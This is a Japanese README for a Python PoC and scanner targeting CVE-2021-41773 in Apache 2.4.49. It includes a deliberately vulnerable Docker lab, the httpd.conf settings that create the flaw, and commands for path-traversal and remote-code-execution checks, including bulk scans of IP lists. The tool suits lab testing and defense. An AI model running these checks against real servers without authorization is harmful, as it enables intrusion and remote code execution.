Apache 2.4.49 - パストラバーサルまたはリモートコード実行

cve-2021-41773.py は、Apache 2.4.49 におけるパストラバーサルまたはリモートコード実行の脆弱性を発見するための Python スクリプトです。CVE-2021-41773 を実際に試すための脆弱な Docker インスタンスも提供されています。

CGI-BIN が有効な場合、パストラバーサルではなくリモートコード実行が可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています。

httpd.conf における脆弱な設定

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

CVE-2021-41773 のラボ環境

Docker のビルド

$ docker build -t cve-2021-41773 .

Docker の実行

$ docker run -it cve-2021-41773

cve-2021-41773.py の使用方法

パストラバーサルとリモートコード実行の確認

$ python3 cve-2021-41773.py -u http://172.17.0.2

パストラバーサルの PoC

$ python3 cve-2021-41773.py -u http://172.17.0.2 -pt

リモートコード実行の PoC

$ python3 cve-2021-41773.py -u http://172.17.0.2 -rce

一括スキャンするには、IP アドレスを含むテキストファイルを指定します:

$ python3 cve-2021-41773.py -l list.txt

$ python3 cve-2021-41773.py -l list.txt -pt

$ python3 cve-2021-41773.py -l list.txt -rce

詳細については こちら を参照してください。

参照

• https://nvd.nist.gov/vuln/detail/CVE-2021-41773
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
• https://httpd.apache.org/security/vulnerabilities_24.html
• https://www.cve.org/CVERecord?id=CVE-2021-41773
• https://walnutsecurity.com/path-traversal-remote-code-execution-in-apache/